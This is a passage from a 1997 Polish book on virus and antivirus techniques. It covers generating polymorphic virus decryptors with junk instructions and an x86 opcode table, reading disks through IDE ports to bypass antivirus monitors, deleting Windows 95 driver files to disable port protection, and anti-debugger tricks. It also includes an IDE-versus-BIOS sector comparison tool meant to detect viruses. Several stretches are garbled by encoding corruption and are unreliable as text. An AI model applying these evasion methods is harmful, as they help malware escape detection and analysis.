rejstru CX wartoťŠ SUB CX,XYZ ; i potem j¦ od niego odejmij MOV REJ16,0 ; zeruj jakiť rejestr 16-bitowy MOV CX,REJl6 ; i za jego pomoc¦ zeruj rejestr CX XOR CL,CL ; kombinacje powy¬szych operacji dla rejestrˇw 8-bitowych SUB CH,CH ; CL i CH -¦cznie tak¬e wyzeruja rejestr CX Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości. Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np. zamiast jednej instrukq'i ADD [INDEX],???? użyć: CLC ADC [INDEX], ???? SUB [INDEX],-???? MOV REJ,???? ADD [INDEX],REJ Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura dekodująca powinna mieć postać podobną do poniższej sekwencji: ....... ; wype-niacz inicjuj rejestr - licznik lub indeks ....... ; wype-niacz inicjuj rejestr - indeks lub licznik ....... ; wype-niacz pierwsza instrukcja dekodera ....... ; wype-niacz druga instrukcja dekodera ....... ; wype-niacz n-ta instrukcja dekodera ....... ; wype-niacz sprawdzenie warunku zako˝czenia pŕtli ....... ; wype-niacz skok, je¬eli warunek spe-niony ....... ; wype-niacz w-aťciwy, zaszyfrowany kod wirusa, do ktˇrego zostanie przekazane sterowanie po rozkodowaniu ....... ; wype-niacz Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy antywirusowe. Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu, który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie. Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86 (kierując się ich przydatnością do wykorzystania w generatorze). Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji wykorzystywanych przez języki wysokiego poziomu (nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB (386+). Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora, a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00, zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00. Chcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - B8, 00, 00, 00, 00. Jak widać, przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego od tego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on instrukcje 32-bitowe, w chronionym zaś 16-bitowe. Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej występują jako liczby binarne. Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak: N:=LiczbaPseudolosowa For I:=1 to N do GenerujInstrukcjŕ Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania procedury. Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy. Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany, przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala): procedurŕ GenerujInstrukcjŕ; X:=LiczbaPseudolosowa wybieraj¦ca generowana instrukcjŕ sprawdč atrybuty instrukcji wskazywanej przez X if s¦ jakieť operandy then dla ka¬dego operandu begin repeat arg:=Pseudolosowa if arg nie koliduje z zasobami dekodera to argument znaleziony untii argument znaleziony lub furtka bezpiecze˝stwa wstaw operand=arg end else wstaw instrukcjŕ bez operandˇw; end; Załóżmy, iż dla dekodera zostały wybrane: [Mem, cz໩ bajtu MrnRejMem, w tym przypadku [BX+SI] } Indeks:= 000 ;{Rejestr: z przedzia-u 000.. 111} Licznik:= 001 ;{trzeba zdekodowaŠ u¬ywane ; przez indeks dwa rejestry, w tym ; przypadku oczywiťcie rŕcznie } IndeksModyf1:= 110 ; [numer rejstru SI} IndeksModyf2:= 011 ; (numer rejestru BX} Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który w tabeli jest zapisany jako: 01001Rej DEC rejestr Rej. Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 - bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca operandu dla instrukcji powinna wyglądać mniej więcej tak: SzukajArgumentu: MOV AX,7 Call RandomAX ; weč liczbŕ z przedzia-u 000...111 ; liczba w AL (bo AH-0) cmp AL,IndeksModyfl ; czy rejestr zajŕty przez ; pierwsza cz໩ indeksu ? je SzukajArgumentu cmp AL, IndeksModyf2 ; czy rejestr zajŕty przez ; druga cz໩ indeksu ? je SzukajArgumentu cmp AL, Licznik ; czy rejestr zajŕty przez licznik ? je SzukajArgumentu cmp AL,100b ; czy rejestr to SP ? je SzukajArgumentu ; argument znaleziony i jest w AL ; AL=00000arg - argument na trzech ; m-odszych bitach or al, 01001000b ; zsumuj logicznie z 5 bitami kodu ; operacj i DEC stosb ; zapisz ca-a instrukcjŕ DEC arg do bufora Postępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do wykorzystania, opisane dalej instrukcje. W opisie instrukcji przyjęto następujące oznaczenia: Rej - określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego, czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy. Wartości przypisane poszczególnym rejestrom są następujące: Rej 000 001 010 011 100 101 110 111 8-bitowe AL. CL DL BL AH CH DH BH 16-bitowe AX CX DX BX SP BP SI DI 32-bitowe EAX ECX EDX EBX ESP EBP ESI EDI Mem - określa adres w pamięci, na którym wykonywana jest operacja; sposób adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem, będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16 bitowy, 032 - 32 bitowy). Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16 - bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie wystąpił przedrostek innego segmentu): Mem Seg/Mm 00 01 10 11 - operacja na rejestrze o numerze Mam, a nie na pamieci 000 DS [BX+SI] [BX+SI+O8] [BX+SI+O16] 001 DS [BX+DI] [BX+DI+O8] [BX+DI+O16] 010 SS [BP+SI] [BP+SI+O8] [BP+SI+O16] 011 SS [BP+DI] [BP+DI+O8] [BP+DI+O16] 100 DS [SI] [SI+O8] [SI+O16] 101 DS [DI] [DI+O8] [DI+O16] 110 DS/SS DS:[O16] SS:[BP+O8] SS:[BP+O16] 111 DS [BX] [BX+O8] [BX+O16] Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania (32-bitowy): Mem Seg/Mm 00 01 10 11-operacja na rejestrze o numerze Mem, a nie na pamięci 000 DS [EAX] [EAX+O8} [EAX+O32] 001 DS [ECX] [ECX+O8] [ECX+O32] 010 DS [EDX] [EDX+O8] [EDX+O32] 011 DS [EBX] [EBX+O8] [EBX+O32] 100 [SIB] [SIB+O8] [SIB+O32] 101 DS/SS DS:[O32] SS:[EBP+O8] SS:[EBP+O32] 110 DS [ESI] [ESI+O8] [ESI+O32] 111 DS [EDI] [EDI+O8] [EDI+O32] Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu zawartego w SIB jest następujący: Adres SIB:=Baza+Indeks*(2^N), gdzie > baza opisywana jest przez bity 7-5 bajtu SIB; > indeks opisywany jest przez bity 4-2 bajtu SIB; > liczba N opisywana przez bity 1-0 bajtu SIB (tak więc jedyna możliwość to mnożenie indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8). Poniższa tabela zawiera wartości, które może przyjmować Baza. Baza Seg/Mm 00 01,10,11 000 DS EAX EAX 001 DS ECX ECX 010 DS EBX EBX 011 DS EDX EDX 100 SS ESP ESP 101 DS/SS DS:O32 SS:EBP 110 DS ESI ESI 111 DS EDI EDI Poniższa tabela zawiera wartości, które może przyjmować Indeks. Index Rejestr 000 EAX 001 ECX 010 EBX 011 EDX 100 - 101 EBP 110 ESI 111 EDI Sg - opisuje rodzaj segmentu użytego w operacji. Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS Seg - rozszerzone Sg (uwzględnia FS i GS). Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS Wwww - określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może przyjmować wartości przedstawione w poniższej tabeli: Wartość Warunek 0000 O - overflow 0001 NO - not overflow 0010 C-carry 0011 NC-notcarry 0100 Z-zero 0101 NZ-not zero 0110 NA-notabove 0111 A-above 1000 S-sign 1001 NS-notsign 1010 P-parity 1011 NP-notparity 1100 L-less 1101 NL-not less 1110 NG-notgreat 1111 G-great Ope - używane przez niektóre instrukcje do określania operacji matematycznej lub logicznej, którą ma instrukcja wykonać. Ope 000 001 010 011 100 101 110 111 Opis ADD OR ADC SBB AND SUB XOR CMP Op2 - tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym =82/83 (jest to zrnniejszona lista Ope). Ope2 000 001 010 011 100 101 110 111 Opis ADD ADC SBB SUB CMP Op3 - opisuje grupę instrukcji o pierwszym kodzic=F6/F7. Ope 000 001 010 011 100 101 110 111 Opis TEST NOT NEG MUL IMUL DIV IDIV Op4 - opisuje instrukcje z pierwszym bajtem =FE, Ope 000 001 010 011 100 101 110 111 Opis INC DEC Op5 - opisuje instrukcje z pierwszym bajtem =FF. Ope 000 001 010 011 100 101 110 111 Opis INC DEC CALL NEAR CALL FAR JMP NEAR JMP FAR PUSH Ops - opisuje różne rodzaje przesunięć. Ope 000 001 010 011 100 101 110 111 Opis ROL ROR RCL RCR SHL SHR SAL SAR Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66. Wartkom8 - oznacza bajt określający liczbę będącą operandem instrukcji. WartkomD - oznacza bajt, słowo lub dwusłowo (zależnie od bitu D i przedrostka 66) określające liczbę będącą operandem instrukcji. Reladre8 - określa relatywny offset (z zakresu -128..+127), który dodawany jest do wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury. ReladreD - określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- bitowy określany jest na podstawie obecności przedrostka 66). Numport8 - określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT. Addroffs i Addrsegm - określają segment i offset, pod który skacze procesor po wykonaniu dalekiej procedury lub dalekiego skoku. bit D - określa rodzaj operandu: bajt, słowo lub dwusłowo; - jeżeli nie wystąpił przedrostek 66 i D=0: bajt, - jeżeli nie wystąpił przedrostek 66 i D=1: słowo, - jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo. bit S - określa kierunek przesyłania danych podczas wykonywania instrukcji zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem. bit F - ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN. Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne nazwy są oddzielone przecinkiem. Kody Instrukcji Kod instrukcji (binarnie) Mnemonik 00001111 1000Wwww Reladr16 JWwww Reladr16 00001111 1001Wwww MmRejMem SETWwww byte ptr [Mem] 00001111 10100000 PUSH FS 00001111 10100001 POP FS 00001111 10100010 CPUID 00001111 10100011 MmRejMem BTMem,Rej 00001111 10100100 MmRejMem Wartkom8 SHLD Mem,Wartkom8 00001111 10100101 MmRejMem SHLD Mem,Rej,CL 00001111 1010011D MmRejMem CMPXCHG Mem,Rej 00001111 10101000 PUSH GS 00001111 10101001 POP GS 00001111 10101011 MmRejMem BTS Mem,Rej 00001111 10101100 MmRejMem Wartkom8 SHRD Mem,Wartkom8 00001111 10101101 MmRejMem SHRD Mem,Rej,CL 00001111 10101111 MmRejMem IMUL Rej,Mem 00001111 10110010 MmRejMem LSS Rej,Mem 00001111 10110011 MmRejMem BTS Mem,Rej 00001111 10110100 MmRejMem LFS Rej,Mem 00001111 10110101 MmRejMem LGS Rej,Mem 00001111 10110110 MmRejMem MOVZX Rej,Mem 00001111 10110111 MmR32Mem MOVZX R32,Mem 00001111 10111011 MmRejMem BTC Mem,Rej 00001111 10111100 MmRejMem BSF Mem,Rej 00001111 10111101 MmRejMem BSR Mem,Rej 00001111 10111110 MmRejMem MOVSX Rej,Mem 00001111 10111111 MmR32Mem MOVSX R32,Mem 00001111 1100000D MmRejMem XADD Mem,Rej 00001111 11000111 Mm001Mem CMPXCHG8B mem 00001111 11001r32 BSWAP r32 00001111 11011010 Mm100Mem Wartkom8 BT Mem,Wartkom8 00001111 11011010 Mm101Mem Wartkom8 BTS Mem,Wartkom8 00001111 11011010 Mm110Mem Wartkom8 BTR Mem,Wartkom8 00001111 11011010 Mm111Mem Wartkom8 BTC Mem,Wartkom8 000Sg110 PUSH rejestr segmentowy Sg 000Sg111 POP rejestr segmentowy Sg, Sg<>01, bo 00001111= rozszerzene instrukcje (w 8086 by-a to instrukcja POP CS) 00100111 DAA 00101111 DAS 00110111 AAA 00111111 AAS 001Sg110 przedrostek segmentu Sg 000pe0SD MmRejMem S=0,Ope Mem,Rej, S=1 Ope Reg,Mem 000pe10D WartkomD Ope Akumulator,WartkomD 01000Rej INC rejestr Rej 01001Rej DEC rejestr Rej 01010Rej PUSH rejestr Rej 01011Rej POP rejestr Rej 01100000 PUSHA 01100001 POPA 01100100 FS: 01100101 GS: 01100110 przedrostek instrukcji 386+ (dane 32-bitowe) 01100111 przedrostek instrukcji 386+ (operandy 32- bitowe) 01101000 WartkomD PUSH WartkomD 0110100D MmRejMem WartkomD IMUL Rej,WartkomD,Mem 01101010 Wartkom8 PUSH Wartkom8 0110110D INSB, INSW, INSWD 0110111D OUTSB, OUTSW, OUTSD 0111wwww Reladre8 JWwww Reiadre8 1000000D MmOpeMem WartkomD Ope Mem,WartkomD 1000001D MmOp2Mem Wartkom8 Op2 Mem, Integer (Wartkom8) 1000010D MmRejMem TEST Mem,Rej 1000011D MmRejMem XCHG Mem,rej 100010SD MmRejMem S=0, MOV Mem,Rej, S=1 MOV Reg,Mem 10001101 MmRejMem LEA Rej,Mem 10001111 Mm000Mem POP Mem 100011S0 MmSegMem S=0 MOV Mem,Seg, S=1 MOV Seg, Mem 10010Rej XCHG rejestr Rej 10011000 CBW/CWDE 10011001 CWD/CDQ 10011010 Addroffs Addrsegm CALL FAR Addrsegm:Addroffs 10011011 wait 10011100 PUSHF/PUSHFD 10011101 POPF/POPFD 10011110 SAHF 10011111 LAHF 101000SD WartkomD S=0 MOV Akumutator,[WartkomD] ; S=1 MOV [WartkomD],Akumulator 1010010D MOVSB,MOVSW, MOVSD 1010011D CMPSB, CMPSW, CMPSD 1010100D WartkomD TEST Akumulator,WartkomD 1010101D STOSB, STOSW, STOSD 1010110D LODSB, LODSW, LODSD 1010111D SCASB, SCASW, SCASD 1011DRej WarkomD MOV Rej,WartkomD 1100000D MmOpsMem Wartkom8 Ops Mem,Wartkom8 11000100 MmRejMem LES Rej,Mem 11000101 MmRejMem LDS Rej,Mem 1100011D Mm000Mem WarkomD MOV Mem,WartkomD 11001100 INT3 11001101 Wartkom8 INT Wartkom8 11001110 INTO 11001111 IRET 1100F010 WartkomF RET WartkomF 1100F011 RET N/F 1101000D MmOpsMem Ops Mem,1 1101001D MmOpsMem Ops Mem,CL 11010110 SETALC 11010111 XLAT 11100000 Reladre8 LOOPNZ Reladre8 11100001 Reladre8 LOOPZ Reiadre8 11100010 Reladre8 LOOP Reladre8 11100011 Reladre8 JCXZ/JECXZ Reladre8 11100100 Wartkom8 AAM Wartkom8, zwykle Wartkom8=10 11100101 Wartkom8 AAD Wartkom8, zwykle Wartkom8=10 1110010D Numport8 IN Akumulator,Numport8 1110011D Numport8 OUT Numport8,Akumulator 11101000 Reladr16 CALLNEAR Reladr16 11101001 Reladr16 JMP NEAR Reladr16 11101010 Addroffs Addrsegm JMP FAR Addrsegm:Addroffs 11101011 Reladre8 JMP SHORT Reladre8 1110110D IN Akumulator, DX 1110111D OUT DX,Akumulator 11110000 LOCK 11110010 REPNZ 11110011 REP, REPZ 11110101 CMC 1111011D Mm000Mem WartkomD TEST Mem,Wartkom8 1111011D MmOp3Mem Op3 Mem 11111000 CLC 11111001 STC 11111010 CLI 11111011 STI 11111100 CLD 11111101 STD 11111110 MmOp4Mem Op4 Mem 11111111 MmOp5Mem Op5 Mem ROZDZIAŁ 9 9.1. Sposoby dostępu do dysków Najczęściej stosowany (bo najprostszy) mechanizm dostępu do plików lub sektorów polega na używaniu funkcji i przerwań programowych DOS (INT 21h, INT 25h, INT 26h). Najczęściej korzystają z niego wirusy plikowe i czasem wirusy BOOT-sektorów. Ze względu na możliwość istnienia zainstalowanego w systemie monitora antywirusowego sposób ten można bezpiecznie wykorzystać tylko po wyłączeniu aktywnego monitora lub też po znalezieniu oryginalnych procedur wejścia do odpowiednich przerwań. Na dużo niższym poziomie operują wirusy infekujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Korzystają one z przerwania programowego INT 13h, operującego bezpośrednio na fizycznych sektorach dysków (w przypadku dyskietek można użyć przerwania 40h). Tak jak w przypadku przerwań i funkcji DOS, funkcje BIOS mogą być dość łatwo monitorowane przez program antywirusowy, a w nowoczesnych BIOS-ach - nawet przez program obsługi przerwania. W takim wypadku pozostaje jedyna bezpieczna metoda ingerencji w zawartość sektorów, polegająca na użyciu bezpośrednich odwołań do portów. Pisanie procedur do obsługi plików, które na najniższym poziomie odwoływałyby się do portów nie ma sensu, natomiast łatwo jest napisać takie procedury tylko dla pojedynczych, wybranych sektorów, czyli np. MBR, BOOT-sektora, co w przypadku dysków (zgodnych z IDE lub EIDE) oraz dyskietek jest względnie proste. W przypadku dysków SCSI jest to o wiele trudniejsze, chociażby ze względu na brak dokładnej dokumentacji technicznej tych urządzeń, stąd też trzeba obsługiwać je przez funkcje systemowe (można pokusić się o poszukanie czystych wejść do procedur ich obsługi). Operując na portach należy pamiętać, iż wraz z pojawieniem się dysków o pojemnościach o wiele większych od tych, które mogą być standardowo obsługiwane przez funkcje BIOS przerwania 13h, zaszła konieczność jakiegoś obejścia dotychczasowych ograniczeń związanych z pojemnością dysków widzianych przez BIOS. Niektóre twarde dyski posiadają więc w swych pierwszych fizycznych sektorach (począwszy od MBR) coś w rodzaju nakładki (ang. Dynamic Drive Overlay), która po załadowaniu do pamięci przez program zawarty w pierwszym fizycznym sektorze przejmuje i poszerza odpowiednie funkcje obsługi dysku. Aby możliwe było dalsze wczytywanie systemu, po wczytaniu nakładki odwołania do sektorów są przekierowy-wane (do numeru cylindra dodawane jest l). W efekcie prawdziwy sektor MBR wcale nie jest umiejscowiony w sektorze o adresie: cylinder 0, strona 0, sektor l, lecz pod adresem: cylinder l, strona 0, sektor l. Nieuwzględnienie tego faktu może przyczynić się do przypadkowego zniszczenia danych na dysku podczas zapisywania przy użyciu portów, a co za tym idzie, do szybszego wykrycia wirusa. Najskuteczniejszym sposobem uchronienia się przed odczytem i zapisem bezpośrednio przez porty jest odpowiednia kontrola dostępu do urządzeń we/wy na poziomie trybu chronionego przy pomocy tablic map portu. Jednak i to zabezpieczenie nie wydaje się bardzo pewne, gdyż najczęściej istnieje jakaś możliwość ingerencji w jądro systemu nawet dla trybu chronionego (jeżeli nie w pamięci, to w plikach), a co za tym idzie, można zmienić odpowiednią część systemu, odpowiedzialną w tym wypadku za operacje na dyskach. W przypadku systemu Windows 95 (działającego w trybie chronionym) można spróbować wymuszać jego uruchamianie w tzw. trybie zgodności z MS DOS. Tryb ten oznacza, iż wszelkie wykonywane operacje dyskowe są przekierowywane do trybu rzeczywistego, a tam nie działa mechanizm ochrony portów. Aby wymusić używanie tego trybu przez Windows 95, należy skasować lub tymczasowo usunąć następujące pliki: > ściezka\SYSTEM\IOSUBSYS\HSFLOP.PDR - plik odpowiedzialny za dyski FDD; > ścieźka\SYSTEM\IOSUBSYS\ESDI_506.PDR - plik odpowiedzialny za dyski twarde zgodne z (E)IDE; > ścieżka\SYSTEM\IOSUBSYS\SCSIPORT.PDR - plik odpowiedzialny za dyski twarde SCSI, gdzie ścieżka oznacza katalog, w którym umieszczony jest system Windows. Zastosowanie tego triku spowoduje, iż przy następnym ładowaniu systemu Windowa zostanie on uruchomiony w trybie zgodności z MS DOS. Odnalezienie katalogu, w którym umieszczony jest system Windows, nie stanowi problemu. Wystarczy w bloku pamięci należącym do środowiska (ang. enviroment) odnaleźć jedną ze zmiennych (nie zawsze występują wszystkie): > WIN=; > WINDIR=; > WINBOOTDIR= i odczytać opisywany przez daną zmienną katalog, a następnie już bez trudu uzyskać dostęp do plików *.PDR. Poniżej zamieszczono dwa programy, z których jeden odczytuje przy pomocy portów tablicę partycji pierwszego dysku twardego, a drugi BOOT-sektor dyskietki (musi być w napędzie). Odczytane sektory są porównywane z zawartością sektorów widzianych przez funkcje BIOS, zaś wynik porównania jest wyświetlany na ekranie. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; IDE_PORT v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Program odczytuje sektor tablicy partycji pierwszego twardego dysku ; ; przez porty IDE i przerwanie BIOS, a nastepnie tak odczytane sektory ; ; porownuje ze soba. ; ; Umozliwia wiec sprawdzenie, czy odczyty BIOSa nie sa zafalszowane ; ; przez jakiegos wirusa. ; ; ; ; UWAGA : Odczyt przez porty dziala tylko dla dyskow zgodnych z IDE lub EIDE ; ; i nie dziala w systemie Windows'95 ; ; ; ; Kompilacja : ; ; TASM /t IDE_PORT.ASM ; ; TLINK IDE_PORT.OBJ ; ; ; ;----------------------------------------------------------------------------; IDE_PORT SEGMENT ASSUME CS:IDE_PORT, DS:IDE_PORT ORG 100h NUL = 00h ; \ LF = 0Ah ; - stale potrzebne do deklaracji CR = 0Dh ; / lancuchow napisowych Start: lea si,TeCopyRight ; \ wyswietl info o programie Call Druk ; / mov ax,1600h ; sprawdz, czy praca w systemie Windows ? int 2Fh test al,7Fh ; jz NieMaWindows ; ZF=0 - nie ma Windows cmp al,4 ; czy wersja Windows < 4.0 ? jb NieMaWindows ; TAK - to nie Windows 95 ; NIE - to Windows 95 lea bp,TeWindows95 ; \ program nie dziala pod Windows 95 jmp Rozne ; / wiec koncz NieMaWindows: mov dx,1F2h ; 1F2 - okresla ile sektorow czytac mov al,00000001b ; czytaj 1 sektor out dx,al ; wyslij do IDE inc dx ; 1F3 - okresla, ktory sektor pierwszy mov al,00000001b ; czytaj sektor nr 1 out dx,al ; wyslij do IDE inc dx ; 1F4 - starsza czesc cylindra (bity 0-1) mov al,00000000b ; czytaj cylinder 0 out dx,al ; wyslij do IDE inc dx ; 1F5 - mlodsza czesc cylindra (bity 0-7) mov al,00000000b ; czytaj cylinder 0 out dx,al ; wyslij do IDE inc dx ; 1F6 - nr dysku + nr glowicy mov al,10100000b ; 101NGggg, N=0=master/1=slave, Gggg - glowica out dx,al ; wyslij do IDE inc dx ; 1F7 - rejestr rozkazowy IDE mov al,00100000b ; rozkaz odczytu out dx,al ; wyslij do IDE lea bp,TeIDENieDziala ; odczyt przez porty nie dziala mov cx,0FFFFh ; tyle razy odczytuj z portu CzekajNaDane: in al,dx ; czekaj na dane z kontrolera IDE test al,00001000b ; bit 3 ustawiony ? loopz CzekajNaDane ; TAK - mozna czytac, NIE - czekaj dalej test al,00001000b ; bit 3 ustawiony ? jz Rozne ; NIE - jakis blad mov cx,256 ; 256x2 bajtow lea di,SektorIDE ; gdzie zapisac dane mov dx,1F0h ; 1F0 - port danych IDE cld ; INC DI w operacjach lancuchowych CzytajSektor: in ax,dx ; czytaj slowo stosw ; zachowaj je loop CzytajSektor ; czytaj 256 slow=512 bajtow sektora mov dx,80h ; dysk twardy nr 0, glowica 0 mov cx,1 ; cylinder 0, sektor 1 lea bx,SektorBIOS ; dokad czytac sektor mov ax,0201h ; funkcja BIOS - czytaj 1 sektor int 13h ; wywolaj funkcje BIOS lea bp,TeInne ; komunikat ze rozne mov cx,256 ; porownaj 256 slow=512 bajtow lea si,SektorIDE ; bufor z sektorem odczytanym przez porty lea di,SektorBIOS ; bufor z sektorem odczytanym przez BIOS rep cmpsw ; porownaj oba bufory jne Rozne ; ZF=0 - takie same, ZF=1 - rozne lea bp,TeTakieSame ; komunikat, ze takie same Rozne: mov si,bp ; komunikat : rozne lub takie same Call Druk ; wyswietl komunikat mov ax,4C00h ; funkcja DOS - koncz program int 21h ; wywolaj funkcje Druk: ; procedura wyswietla tekst ASCIIZ z CS:SI push ax si ; zachowaj zmieniane rejestry NastepnyZnak: lods byte ptr cs:[si] ; wez kolejny znak or al,al ; czy znak jest zerem ? jz DrukPowrot ; TAK = koniec napisu wyjdz z petli mov ah,0Eh ; funkcja BIOS int 10h ; wyswietl znak (z AL) jmp short NastepnyZnak ; wez nastepny znak DrukPowrot: pop si ax ; przywroc zmieniane rejestry ret ; powrot z procedury TeCopyRight db CR,LF,'IDE_PORT v1.0, Autor : Adam Blaszczyk 1997',NUL TeTakieSame db CR,LF,'_ Odczyt przez IDE-porty = odczyt przez BIOS !',NUL TeInne db CR,LF,'_ Odczyt przez IDE-porty <> odczyt przez BIOS !',NUL TeWindows95 db CR,LF,'_ Odczyt przez IDE-porty nie dziala w Windows''95 !',NUL TeIDENieDziala db CR,LF,'_ Odczyt przez IDE-porty nie dziala !',NUL SektorBIOS db 512/16 dup ('[ SEKTOR BIOS ] ') SektorIDE db 512/16 dup ('[ SEKTOR EIDE ] ') IDE_PORT ENDS END Start 9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyjne i antyheurystyczne Aby utrudnić życie programistom piszącym szczepionki oraz zabezpieczyć swój kod przed niepowołanymi osobami, twórcy wirusów (i nie tylko) często używają tzw. sztuczek antydebuggerowych oraz antydeasemblerowych. Najbardziej znane sztuczki antydebuggerowe polegają na chwilowym (na czas wykonywania kodu wirusa) blokowaniu przerwań sprzętowych, co dla osoby próbującej analizować kod programu objawia się tym, iż np. klawiatura przestaje działać po wykonaniu instrukcji. Przeszkadzanie włamywaczom polegać może także na blokowaniu lub chwilowym przejmowaniu przerwań newralgicznych dla działania programu uruchomieniowego, a więc 0lh (przerwanie trybu krokowego) i 03h (pułapka programowa). Ich adresy najczęściej ustawia się na 0FFFFh:0000h, czyli na procedurę resetującą programowo komputer. Często w takich wypadkach przejmowane są także przerwania 21h, 16h, 10h, służące debuggerom do obsługi plików, klawiatury, ekranu itd. Inna metoda przeszkadzania potencjalnym włamywaczom polega na tym, iż wirus próbuje wykrywać fakt pracowania pod kontrolą de-buggera i po ewentualnym wykryciu - wykonywać jakąś destrukcyjną operację lub też próbować uciec włamywaczowi tak, aby ten niczego nie zauważył. Klasycznymi przykładami sztuczek antydebuggerowych są poniższe sekwencje: ; Blokada przerwa˝ sprzŕtowych MOV AL,0FFh ; ustaw wszystkie bity w AL na 1 OUT 21h, AL ; zamaskuj przerwania sprzŕtowe od 0 do 7 OUT 0Alh, AL ; zamaskuj przerwania sprzŕtowe od 8 do F Wykrywanie, ; czy kod wykonuje siŕ pod kontrola debuggera PUSH SS ; za-aduj na stos wartoťŠ SS POP SS ; po tej instrukcji, nastŕpny rozkaz nie jest ; kontrolowany, PUSHF ; wiŕc mo¬na zachowaŠ na stosie prawdziwe flagi POP AX ; AX=flagi zdjŕte ze stosu TEST AH,1 ; czy bit TF=1 ? JNZ DEBUG_ON ; jeťli tak, to u¬ywany jest debugger ........ ; debugger nie jest u¬ywany DEBUG_ON: ; debugger jest u¬ywany Wraz z pojawieniem się debuggerów działających w trybie chronionym znaczenie sztuczek anydebuggerowych zmalało. Oczywiście, ciągle można je stosować, jednak będą one raczej nieskuteczne. Na przykład, jeżeli program próbuje manipulować adresami procedur obsługi przerwań INT l czy INT 3, debugger działający w trybie rzeczywistym oczywiście im ulegnie, natomiast w przypadku debuggera dla trybu chronionego w zasadzie nic się nie stanie, gdyż używa on innej, własnej tablicy przerwań. Aby uniemożliwić lub utrudnić deasemblację wirusa, stosuje się szyfrowanie oraz odpowiednie kombinaqe instrukcji, które zakłócają typowy listing 